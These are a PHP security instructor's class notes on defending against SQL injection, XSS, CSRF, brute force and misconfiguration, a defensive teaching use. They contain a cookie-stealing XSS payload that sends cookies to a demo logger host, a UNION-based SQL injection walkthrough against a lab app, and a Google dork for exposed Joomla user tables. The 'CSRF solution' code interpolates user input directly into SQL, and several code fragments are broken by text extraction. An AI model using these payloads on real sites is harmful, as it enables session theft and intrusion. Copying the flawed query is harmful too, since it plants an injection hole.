Skip to content

Latest commit

 

History

History
1109 lines (922 loc) · 50.7 KB

php-security-notes-2017.md

File metadata and controls

1109 lines (922 loc) · 50.7 KB

PHP SECURITY CLASS NOTES

NOTE: some of the links are dated as these notes represent 9 years of teaching PHP security!

    • Q: Brute force detector lab setup?
    • A: Need to create a table "bfdetect"
CREATE TABLE `bfdetect` (
  `id` bigint(3) unsigned NOT NULL auto_increment,
  `today` varchar(20) NOT NULL,
  `minute` varchar(3) NOT NULL,
  `ip` varchar(16) NOT NULL,
  `forward_ip` varchar(500) NOT NULL,
  `useragent` varchar(100) NOT NULL,
  `userlan` varchar(100) NOT NULL,
  `isnotify` char(1) default '0',
  `notify4today` char(1) default '0',
  PRIMARY KEY  (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;

(Look in /securitytraining/data/sql/course.sql) Based on the config, found in the securitytraining app config under the 'bfdetect' key, the detector checks the table for previous requests from the various $_SERVER params and logs the request. After four (config) requests are made from the same $_SERVER params within a 5 minute (config) setting, a log entry is created and a response to the attacker is slowed with a sleep option. In order for this script to work, you have to log more than 4 requests in 5 minutes in order for the log entry and sleep response. I decided not to populate the data due to this timing requirement which is based on the current server time. [8:55:55 PM] Daryl Wood: You can populate the table with four quick CLI executions, then run the fifth from the securitytraining brute force page with the login. I just noticed the SQL table is not in the VM version. Oops , sorry for that, will fix this. [9:00:00 PM] Daryl Wood: Just fixed the VM to include the bfdetect table. In the mean time, have your students load the table create SQL from the dump, and you should be able to run the BF tool.

DEMO: nmap -A -T4 ip.add.re.ss

SQL Injection Suggested Protection:

  • 1: use prepared statements to enhance protection against sql injection
  • 2: filter and validate all inputs
  • 3: treat the database with suspicion as it could have been compromised

LAB: solution should use prepared statements!!!

Brute Force Suggested Protection:

  • 0: Any suggested protection may be evaded if the attack is launched from a "botnet"
  • 1: Tracking failed login attempts + some kind of redirection or slowdown if X # failed attempts
  • 2: CAPTCHA
  • 3: Cookie handling: check to see if cookie is being returned or not
  • 4: Log attempts based on IP address
  • 5: Employ a series of strategies if B.F. attacked detected. Randomly choose one. Suggestions: -- "Landing" page -- Send an email and ask for confirmation -- Random Timeout i.e. 30 mins -- Send to a page with a CAPTCHA -- Ask a security question
  • 6: Consider resetting the password + use out-of-band notification (i.e. email)
  • 7: if a high level of abuse is noted, extreme measures are called for: i.e. total lockout at IP level

XSS:

  • 1: escape, validate, filter all input
  • 2: htmlspecialchars() on output (esp. suspect data)
  • 3: use prepared statements + SQL injection protection to prevent stored XSS
  • 4: strip_tags() and stripslashes() (maybe) on input UNLESS: if you're implementing a CMS, don't strip all tags (used 2nd param of strip_tags()) Only allow certain ones Consider using Zend\Filter\StripTags which can also filter out selected attribs strip_tags('<b onclick="javascript:alert("test")">', ''); would still execute the javascript
  • 5: Control the length of your input data
  • 6: For CMS implementation, consider using other libraries i.e. Zend\Escaper
  • 7: Use Zend\Escaper\HtmlAttrib (???) which escapes contents of attribs
  • 8: from Keoghan to All Participants: just thought I'd share this for the times where html is needed to be allowed through: https://github.com/ezyang/htmlpurifier (not sure if everyone will have some across it or not)

LAB NOTE: solution for XSS_R s/be $_POST not $_GET

Insecure Direct Object Reference / Missing Function Level Access Control

  • 1: When building the SELECT, encrypt the database key which is exposed to the form
  • 2: Implement proper access control for valuable company resources ("objects")
  • 3: Redirect and log the "illegal" attempt (i.e. enforce the access control)
  • 4: Don't display resources that this user should not access
  • 5: Proper session protection + proper logout procedure
  • 6: Modify the names of the resources to make them less predictable

CSRF

  • 1: Use hard-to-predict tokens for each unique form access I.e. use open ssl pbkdf functionality: http://php.net/manual/en/function.openssl-pbkdf2.php
  • 2: Potential programming problem: what if valid user opens same form in 2 windows? Possible solution: using an AJAX request (but: can trust the client?)
  • 3: Create a profile of the user including User Agent + Language + IP Address etc.
  • 4: Implement session protection + XSS measures
  • 5: DO NOT use md5 for your hash!!! Use something like password_hash()

LAB: quick test: download form, make a change, submit manually, and see that you've change the password

Session Protection:

  • 1: Run session_regenerate_id() frequently to keep validity of session ID short but still maintain the session
  • 2: Have the session ID go through cookies (instead of URL)
  • 3: Create a profile of the user (i.e. IP address, browser, language settings) If anything changes while session is active, flag the session as suspicious maybe log this fact, shut down the session, etc.
  • 4: Provide a logout option which destroys the session, expires the cookie and unsets data
  • 5: Keep sessions as short as possible (but keep usability in mind!)
  • 6: Be cautious about fixed session IDs (i.e. "remember me")!!!

Security Misconfig

  • 1: Keep all open source + other software updated
  • 2: Improperly configured filesystem rights
  • 3: Leaving defaults in place
  • 4: Web server defaults for directories should restrict what users can see
  • 5: use apachectl -l and apachectl -M to see which modules are loaded look for ssl_module especially
  • 6: php.ini settings: allow_url_include = off; open_basedir = /set/this/to/something; doc_root = /set/to/something

Insufficient Crypto Handling of Sensitive Data

  • 1: Don't use old/weak crypto methods (i.e. md5 or sha1)
  • 2: Need to determine what is "sensitive data" for your app
  • 3: Make sure measures are in place when you store or transfer this data
  • 4: Don't store or transmit sensitive data in plain text
  • 5: Keep crypto software up to date
  • 6: DO NOT use mcrypt!!!! Use openssl_encrypt() or openssl_decrypt() See: https://wiki.php.net/rfc/mcrypt-viking-funeral

Command Injection

  • 1: Do you really need to run system(), exec() etc.? Maybe another way
  • 2: Use escapeshellcmd/args()
  • 3: php.ini setting "disable_functions = xxx" if you want to block usage of these
  • 4: Filtering / validation i.e. filter_var with one of the flags Typecasting

Remote Code Injection

  • 1: Don't mix user input with these commands: include, require, eval()
  • 2: Set php.ini allow_url_include = off
  • 3: Possibly refactor your code so you don't need the user to supply actual PHP filenames Establish some sort of routing capability / url rewriting Whitelist allowed pages w/ name mappings that the user can choose Don't let the user see the actual php file they're going to be using
  • 4: Be sure to initiate proper access control / authorization

Levy Document

-- UC Berkeley Study -- Technical + Business Impact of Successful SQL Injection Attacks

LATEST THREATS:

SQL INJECTION:

BRUTE FORCE:

XSS:

CSRF:

OTHER:

RESOURCES:

LATEST ATTACKS:

SQL INJECTION:

BRUTE FORCE:

XSS:

CSRF:

INSECURE CONFIG:

PHP:

EXPLOIT KITS:

RESOURCES:

LATEST SECURITY THREATS:

HELP FOR HACKED SITES:

PHP EXPLOITS:

CHARACTER SET ATTACKS:

OPEN SOURCE ATTACKS:

-- joomla joomla 1.5.26 hack: * http://3dwebdesign.org/forum/new-joomla-1-5-26-and-joomla-2-5-exploit-t1113 SEE: www/php_sec/exploits/joomla_godaddy/*

Top 10 joomla security issues: * http://www.deanmarshall.co.uk/joomla-services/joomla-security/joomla-security-issues.html bluestork template hack: * http://truxtertech.com/2012/10/joomla-bluestork-built-in-virus/ htaccess hacked / GoDaddy: * http://www.novel139.info/bbs/forum.php?mod=viewthread&tid=485 how to secure a joomla site which has been hacked: * http://forum.joomla.org/viewtopic.php?f=621&t=582854 forum post assistant: * https://github.com/ForumPostAssistant/FPA/zipball/en-GB From Google type this: inurl:"jos_users" inurl:"index.php" -- drupal

WEBSITES WITH ERRORS:

HACKS:

HACKS EXPLAINED ON YOUTUBE:

SQL Injection: * https://www.youtube.com/watch?v=N7l6pPEDuPM Joomla Hack:* http://www.youtube.com/watch?v=KFr1k7-8HT8 Facebook SQL Injection: * https://www.youtube.com/watch?v=1yfTaXndMEM OWASP Security Tutorial Series:

PREVIOUS ATTACKS:

PREVIOUS THREATS:

RESOURCES:

WEBINARS:

PHP BEST SECURITY PRACTICE:

Topic: Building Security into Your PHP Applications

-- 01 ------------------------------ Intro Ask students horror stories + experience level Discuss VM Tell them to start looking at it in preparation for Thursday

-- 03 ------------------------------ White Hat 11th Website Security Stats (see PDF file)

-- 04 ------------------------------ Should be "avoid" not 'avid'

-- 05 ------------------------------ http://www.owasp.org/index.php/Defense_in_depth http://blogs.techrepublic.com.com/security/?p=703

-- 06 ------------------------------ Questions for Class:

-- 07 ------------------------------ Examples: check country codes against list; verify postal codes; etc. DEMO: register_globals in debug DEMO: register_long_arrays (NOTE: deprecated in PHP 5.3) REF: http://www.php.net/manual/en/ini.core.php#ini.register-long-arrays DEMO: E_ALL error reporting Permissions: discuss using Apache user www-data and group instead of chmod 777

-- 08 ------------------------------ Cookies: Hack: <script>alert(document.cookie)</script> May be difficult to check host: ISPs use DHCP so address changes Might be able to do a check by date/time: check to see how old cookie is Store a token which includes timestamp Errors: Development Production display_errors on off log_errors on on Use try {} catch {} or if / then in production Display non-specific error messages -- i.e. give them basic info and then a code useful to you Error log file: should be outside document root Notice: Also note that file is below document root (htdocs) Not processed by php engine = accessible

DEMO: http://insecurebb/xxx DEMO: http://ci.santa-rosa.ca.us/departments/finance/revenue/businesstax/Pages/BusinessTaxRenewal.aspx DEMO: http://www.thamesriverservices.co.uk/timetable_winter.cfm

-- 09 ------------------------------ Mention tools such as tamper data, or view source, cut and paste, run form locally DEMO: http://localhost/php_sec/encrypted_streams_example.php DEMO: http://localhost/php_sec/blowfish_example.php

-- 10 ------------------------------ Possible solutions: use .htaccess file

-- 11 ------------------------------ File w/ phpinfo(): remove or rename it (security by obscurity) Sensitive downloadable files could be stored in a dir outside of document root Write demo app which checks authentication, and then grants access to dir outside of document root Show that web users can't get to that directory from browser Write demo app which uses http_referer & then use tamper data to spoof it (use paypal.com as an example) Open Source: When you first install Joomla, and go to the site, it immediately launches the install. Make sure you perform the install RIGHT AWAY. Don't install it and then do the install the next day!!! Same goes for Drupal. Both Joomla and Drupal default to the admin user = "admin". Change that.

DEMO:

  1. Unzip joomla from /var/www/joomla
  2. Go to http://localhost/joomla
  3. Point out that it's now unsecure / vulnerable

DEMO:

  1. Go to http://phpmyadmin/setup/
  2. Make sure you secure or remove the setup directory!!!

-- 12 ------------------------------ NOTE: Sandboxes (as used here) are also called "honeypots" Project Honeypot: http://projecthoneypot.org/ Lookup IP Addresses: http://www.ripe.net/

-- 14 ------------------------------ Show the White Hat Security Top Ten June 2012: http://www.slideshare.net/jeremiahgrossman/stat-swebinar062712

-- 15 ------------------------------ http://www.slideshare.net/billkarwin/sql-injection-myths-and-fallacies [esp slide 50] http://www.lfpress.com/news/london/2010/10/22/15797971.html#/news/london/2010/10/22/pf-15794376.html http://www.marketwire.com/press-release/Cenzic-Releases-Top-Five-Web-Vulnerabilities-for-September-1339007.htm http://www.securiteam.com/securityreviews/5DP0N1P76E.html -- SQL Injection walkthrough

SQL HACKING DEMO IN VM: 0. Locate the sqlite database file and make it R/W: /workspace/InsecureBB/application/default/data/insecurebb

  1. Create a user account "joe"
  2. Go to login screen
  3. In username field enter: joe' union select 1 from test --
  4. Note the error. Now we know it's sqlite. Master table = "sqlite_master"
  5. In username field enter: joe' union select 1 from sqlite_master --
  6. Note the error. Keep filling in fields (i.e. 1,2 ... 1,2,3 ... etc.) until error goes away. Now you know the correct syntax for the "union" statement and can hack from there.

c297f83139203007287966856136c6ba

-- 16 ------------------------------ Obfuscated SQL injection attack example: Google '<iframe src="hxxp://nemohuildiin.ru' to get an idea of web pages infected by this!

http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about-sql.html

-- 18 ------------------------------ addslashes() Returns a string with backslashes before characters that need to be quoted in database queries etc. These characters are single quote ('), double quote ("), backslash () and NUL (the NULL byte). http://us.php.net/manual/en/function.addslashes.php http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Class Exercise: SHOW: bad_db_select.php ASK: How to fix it? SHOW: bad_db_pdo_select_fixed.php

-- 19 ------------------------------ XSS = #1 form of attack right now

  • Stored XSS Attacks Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.
  • Reflected XSS Attacks Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server. http://www.owasp.org/index.php/Cross-site_Scripting_(XSS) http://www.cgisecurity.com/xss-faq.html Prevention: http://www.ibm.com/developerworks/web/library/wa-secxss/

-- 21 ------------------------------ XSS "Cheat Sheet" https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet http://ha.ckers.org/

Show Tamper Data Options Show fake WF email + screenshot of hacker site

DEMO 1:

  1. Show fake paypal email
  2. Click on link
  3. "Login"
  4. Show extended link

DEMO 2: Inside VM:

  1. inject into insecurebb posting: Are your cookies really safe? From 192.168.102.1
  2. Show contents of /var/www/paypal.hack/logger.php
  3. Show contents of /var/www/paypal.hack/info.log
  4. View the posting
  5. Show contents of /var/www/paypal.hack/info.log

-- 22 ------------------------------ Blacklist approach: hackers use new domains all the time DEMO: filter_and_validate.php DEMO: zend_filter_email.php http://www.phpclasses.org/browse/package/2189.html (class.inputfilter.php) Zend_Filter: http://framework.zend.com/manual/en/zend.filter.html Zend_Validate: http://framework.zend.com/manual/en/zend.validate.html PEAR Validate Package: http://pear.php.net/manual/en/package.validate.validate.php (NOTE: supports international features. I.e. the UK package includes sort codes, the AU package includes the Tax File Number, etc.)

Filtering Libraries: http://www.php.net/manual/en/function.filter-var.php http://php.net/manual/en/book.filter.php

Escaping: htmlspecialchars() htmlentities() Database quoting

PEAR packages: http://pear.php.net/package/HTML_Safe

-- 23 ------------------------------ SHOW: basic_hack.php ASK: How would you fix this?

-- 24 ------------------------------ Semi-colon is not required, but is good programming practice Demo $_SERVER['PHP_SELF'] (or use phpinfo(INFO_VARIABLES) ) Demo http://localhost/foo.php"><script>alert('Hi')</script><" (URL encode the above) User accesses site as : Solution: use echo htmlspecialchars($_SERVER... etc.) www.securityfocus.com/bid/15248/info

-- 25 ------------------------------ Go through example in student PDF appendix Also show Tidy docs examples DEMO: tidy_example.php

-- 27 ------------------------------ rm -Rf (?) No reason for using exec: could use glob() instead

-- 28 ------------------------------ DEMO: escapeshellarg_escapeshellcmd.php php.ini has parameters to disable functions and/or classes: disable_functions = function_name1,function_name2,function_name3,etc. disable_classes = class_name1,class_name2,class_name3,etc.

-- 31 ------------------------------ Demo this hack http://pear.php.net/package/Services_ReCaptcha http://pear.php.net/package/HTML_QuickForm_CAPTCHA

-- 31 ------------------------------ How to prevent this: (A) test $num to make sure it's a number (i.e. ctype_digit) (B) (int) $num

-- 33 ------------------------------ Guard against: (A) use $_POST instead of $_GET (B) use a prepared statement (C) validate password (D) screen for SQL comments, quotes, etc.

-- 34 ------------------------------ (A) need to validate input: could have SQL errors show up

-- 35 ------------------------------ (A) $_REQUEST is dangerous: somebody could add a parameter to the URL = $_GET (B) Demo where username = "<script>alert('Hi')</script>"

-- 36 ------------------------------ MySpace SAMY Worm Hack http://namb.la/popular/

This is a classic example of a CRSF attack:

  1. Hacker posted malicious code to his own MySpace page using javascript hidden in
    tags. He hid "javascript" from the MySpace filter by using "java\nscript".
  2. When an innocent user clicked on this part of his page, the code used the user's logged in credentials to automatically add Samy to their "friend" and "hero" list.
  3. The code was then replicated on the innocent user's page. When their own friends clicked on this part of the page, they, in turn added Samy to their friends list. NOTE: In this case the "3rd party site" = Samy's MySpace page and the Victim Site = the user's MySpace page. etc. etc.

Contrast XSS with CSRF (slide 38) http://en.wikipedia.org/wiki/Cross-site_request_forgery Related: Confused Deputy Problem, Replay Attack, Session Fixation A confused deputy is a computer program that is innocently fooled by some other party into misusing its authority. It is a specific type of privilege escalation. In information security, the confused deputy problem is often cited as an example of why capability-based security is important. A cross-site request forgery (CSRF) is an example of a confused deputy attack against a web browser. In this case a client's web browser has no means to distinguish the authority of the client from any authority of a "cross" site that the client is accessing.

A replay attack is a form of network attack in which a valid data transmission is maliciously or fraudulently repeated or delayed. This is carried out either by the originator or by an adversary who intercepts the data and retransmits it, possibly as part of a masquerade attack by IP packet substitution (such as stream cipher attack).

CSRF FAQ http://www.cgisecurity.com/csrf-faq.html Google Gmail CSRF Hack http://directwebremoting.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html

-- 39 ------------------------------ Note: the HTML for the 3rd party site has been hacked Hacker used an tag to send info to the victim site (?)

-- 40 ------------------------------ Protection: stamp form requests with some sort of token or session ID

-- 41 ------------------------------ Session Hijacking: where user fails to logout from a sensitive site, then the janitor gets onto their computer or the hacker has injected javascript which reads cookies and sends it to an "evil" site or a packet sniffer on the network captures this info

Session Fixation: often used for digital downloads -- customer gets unique URL In computer network security, session fixation attacks attempt to exploit the vulnerability of a system which allows one person to fixate (set) another person's session identifier (SID). Most session fixation attacks are web based, and most rely on session identifiers being accepted from URLs (query string) or POST data.

Used especially in sites where user is "logged in all the time" or where there is a "remember me" function (usually = session info stored in cookie)

-- 43 ------------------------------ See "bad_cookie_fixed.php"

-- 44 ------------------------------ Demo file upload and show phpinfo() data for $_FILES File MIME type forged (?) CHECKING MIME TYPE MIGHT NOT BE ENOUGH!

DEMO:

  1. cd /var/www/php_sec
  2. hd hacked.jpg
  3. Notice javascript embedded at end of jpg
  4. Demo how file comes up OK in browser and appears to be a normal jpg

-- 45 ------------------------------ Potential command injection attack Check php.ini and make sure tmp upload directory is outside of document root Instead of file_exists(), use is_uploaded_file() $cmp_name relies on user supplied filename = should not be trusted

-- 47 ------------------------------ session_regenerate_id --> need to add TRUE to make sure old session is removed DEMO: session_regenerate_id.php

-- 49 ------------------------------ php.net/manual/en/features.safe-mode.functions.php NOTE: Safe Mode is deprecated (see http://www.breakingpointsystems.com/community/blog/php-safe-mode-considered-harmful/) open_basedir = /xxx REF: http://www.php.net/manual/en/ini.core.php#ini.open-basedir register_long_arrays -- deprecated in PHP 5.3 REF: http://www.php.net/manual/en/ini.core.php#ini.register-long-arrays

-- 51 ------------------------------ In this context: not like test environment (i.e. PayPal developer's sandbox) Area which is attractive to attackers Used to gather data on attacker

-- 52 ------------------------------ Tarpits -- Wells Fargo used to use that technique Works in asynchronous apps (i.e. email) http://projecthoneypot.org/

-- 53 ------------------------------ Can be effective if part of a larger strategy Another layer in the onion

-- 54 ------------------------------ Ajax definition: A method by which asynchronous calls are made to web servers without causing a full refresh of the webpage. This kind of interaction is made possible by three different components: a client-side scripting language, the XmlHttpRequest (XHR) object and XML. Developers have found many uses for Ajax such as "suggestive" textboxes (such as Google Suggest) and auto-refreshing data lists. Security Implications:

  • Client side security controls can be easily compromised
  • Increases "attack surface"
  • Gap between users and services shortened = less room for validation, etc.
  • Increased exposure to XSS attacks
    • e.g. SQL statements, table and column names, are exposed AJAX complicates security testing
  • The page "state" is no longer well defined
  • Async nature means testing may not catch requests initiated through timer events
  • Test tools may not be geared to test transmitted XML data and may not be designed to parse and/or execute and test javascript http://www.securityfocus.com/infocus/1868 http://www.acunetix.com/websitesecurity/ajax.htm

DEMO: use Wireshark to test AJAX transfer w/ Google word completion

-- 55 ------------------------------ https://www.owasp.org/index.php/OWASP_AJAX_Security_Guidelines http://net-square.com/whitepapers/Top_10_Ajax_SH_v1.1.pdf

-- 57 ------------------------------ From: http://ha.ckers.org/xss.html fromCharCode (if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need).

Example: UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information:

Example:

Vulnerabilities of PHP to multibyte encoding: REF: http://www.phpwact.org/php/i18n/utf-8

Demo: tag_test.html

-- 59 ------------------------------ Also: Gen Security Tools: http://sectools.org/ Untangle: http://www.untangle.com/ Snort: http://www.snort.org/ nmap: http://nmap.org/ iptables rules generator: http://easyfwgen.morizot.net/gen/ Arachni: http://arachni.segfault.gr/ (web app security scanner) Joomla: https://lists.owasp.org/mailman/listinfo/owasp-joomla-vulnerability-scanner PHP: http://pear.php.net/package/PHP_CodeSniffer

DEMO: Checking a file with PHP_CodeSniffer $ phpcs /var/www/php_sec/bad_get_example.php


FOUND 5 ERROR(S) AFFECTING 2 LINE(S)

2 | ERROR | Missing file doc comment 20 | ERROR | PHP keywords must be lowercase; expected "false" but found "FALSE" 47 | ERROR | Line not indented correctly; expected 4 spaces but found 1 51 | ERROR | Missing function doc comment 88 | ERROR | Line not indented correctly; expected 9 spaces but found 6

DEMO: nmap -A -T4 172.16.82.1 DEMO: wireshark packet capture DEMO: logwatch

IE Tools: http://portswigger.net/burp/proxy.html http://blogs.msdn.com/b/ie/archive/2008/09/03/developer-tools-in-internet-explorer-8-beta-2.aspx http://msdn.microsoft.com/en-us/ie/aa740478

Chrome: http://code.google.com/chrome/devtools/docs/overview.html

Encryption: REF: http://www.zend.com/en/webinar/PHP/70170000000bWL2-strong-cryptographie-20110630.flv

After module 4, use the VM to figure out where insecurities lie Are your cookies really safe?

<script>document.x.src="http://paypal.hack/logger.php?info="+document.cookie;alert("I guess not!");</script>

Q & A:

  • Q: Can you address how to protect from hacked images like that jpeg?

  • A: jpegs infected with a virus are not a danger unless they area "executed" directly by the OS. Example: W32.Perrun was discovered in 2002, but is still around but mainly contained See: http://www.symantec.com/security_response/writeup.jsp?docid=2002-061310-4234-99 Recommendation: train users not to open suspicious attachments (which is the usual form of delivery)

    • Q: The example in the slides discussing CSRF has this code: $token = md5 ( uniqid ( rand (), TRUE ) ); But I understand md5() is not strong. Do you have any other suggestions?
    • A: md5() can indeed be cracked by hacking tools such as hashcat. md5() is useful when you need to generate a quick hash but where it's not important if somebody can reverse it. For example, it might be useful to produce a key from an uploaded image filename which is used for internal storage. md5() will do that for you quickly. For anything which "goes public" however it's best to use something stronger. If you look at http://php.net/uniqid you will see that it does not produce a cryptographically secure id. The same is true of the rand() function: over several iterations its output becomes predictable, which brute force tools latch onto and make it easier to crack a hash based on such values. password_hash('text', PASSWORD_BCRYPT) will produce a BCRYPT hash which is much stronger and harder to break. If you have OpenSSL installed + the PHP OpenSSL extension enabled, you can use openssl_random_pseudo_bytes(). PHP 7 introduced two CSPRNG functions: random_int() and random_bytes() which use randomization available from the OS which in turn uses hardware. Here is a potential replacement for the statement given in the question: $token = bin2hex(random_bytes(32));
  • Q: RE: memory + post limits in php.ini

  • A: upload_max_filesize < post_max_size < memory_limit

  • Q: Suggestions on penetration testing tools, esp. PHP? A: MetaSploit Nessus Snort.org Owasp.org tools page

  • Q: Fingerprinting suggestions?

  • A: https://github.com/Valve/fingerprintjs2

  • Q: What is a botnet?

  • A: A network of slaved computers infected with controlling malware. See: https://en.wikipedia.org/wiki/Botnet

  • Q: How large can a botnet become?

  • A: The largest botnets detected in 2015 were the following: Ramnit: 3,000,000 computers Zeus: 3,600,000 computers TDL4: 4,500,000 computers ZeroAccess: 1,900,000 computers Storm: 250,000 to 50,000,000 computers Cutwail: 2,000,000 computers Conficker: at its peak in 2009 3,000,000 to 4,000,000 computers Windigo: 10,000 Linux servers (!!!) See: https://www.welivesecurity.com/2015/02/25/nine-bad-botnets-damage/ See: https://en.wikipedia.org/wiki/Botnet

CLASS CODE EXAMPLES

// xss stored solution

setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $pdo->prepare("INSERT INTO guestbook (name, comment) VALUES (?,?)"); if (!$stmt->execute([$name, $message])) { error_log(__FILE__.':ERROR inserting to guestbook'); } else { $result++; } //$result = $stmt->fetch(PDO::FETCH_ASSOC); } catch (PDOException $e) { error_log(__FILE__.':'.$e->getMessage()); exit('Oops! Sorry.'); } if($result > 0){ echo 'Successful insert'; } else{ echo 'No results found'; } } // CSRF solution setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $pdo->query("SELECT user_id, password FROM users WHERE user = '$user' AND password = '$pass_curr';"); $result = $stmt->execute(); } catch (PDOException $e) { exit('
' . $e->getMessage() . '
'); } if($result){ //Set password hashing options $options = [ 'cost' => 12, ]; //Build the hash $passhash = password_hash($pass_new, PASSWORD_BCRYPT, $options); //Update the password try { $pdo = zendDatabaseConnect($config); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $pdo->prepare("UPDATE users SET password = ? WHERE user = ?;"); $stmt->execute([$passhash, $user]); } catch (PDOException $e) { $html .= "
 Password update process not available 
"; } } else { $html .= "
 Password Incorrect 
"; } } else { $html .= "
 Passwords did not match. 
"; } } else { $html.= "
 Invalid 
"; } } else { //Create and set a token //$token = md5(time()); // alternatively use openssl_pseudo_random_bytes() $token = password_hash(base64_encode(random_bytes(32)), PASSWORD_BCRYPT); $_SESSION['token'] = $token; $formHtml = " Current password New password Confirm new password

"; } // insecure configuration lab username = $name; $this->password = $pass; $this->someData = $config['someData'] ?? NULL; } } $user = new User($config); $html = ''; if (!empty($_POST['username']) && !empty($_POST['password'])) { $username = $_POST['username']; $password = $_POST['password']; // Encrypt the password ready for storage $username = ctype_alnum($_POST['username']); $password = password_hash($_POST['password'], PASSWORD_DEFAULT); //Code to check the database for existing username, we'll assume none here $user = new User($username, $password); //Call model and store user... $html .= "

Thank You for signing up for our cool service!

We are here to help in case you need it.

"; } // secure file upload Successfully uploaded file " . htmlspecialchars($fn) . "\n"; } else { // Trap upload file handle errors $message .= "
Unable to upload file " . htmlspecialchars($fn); } } else { // Failed security check $message .= "
File Not Uploaded!"; } } else { // No photo file; return blanks and zeros $message .= "
No Upload File Specified\n"; } } // AFTER UPLOAD: run anti-virus, etc. as cron job // TODO: add some sort of flag which triggers the cron job // Scan directory $list = glob($dir . "*"); ?> <title>Upload File</title> <style> TD { font: 10pt helvetica, sans-serif; border: thin solid black; } TH { font: bold 10pt helvetica, sans-serif; border: thin solid black; } </style>

Upload File


Message:

Filename:

"; echo ""; echo ""; echo "\n"; } } echo "
FilenameLast ModifiedSize
$item" . date ("F d Y H:i:s", filemtime($item)) . "" . filesize($item) . "
\n"; phpinfo(INFO_VARIABLES); ?>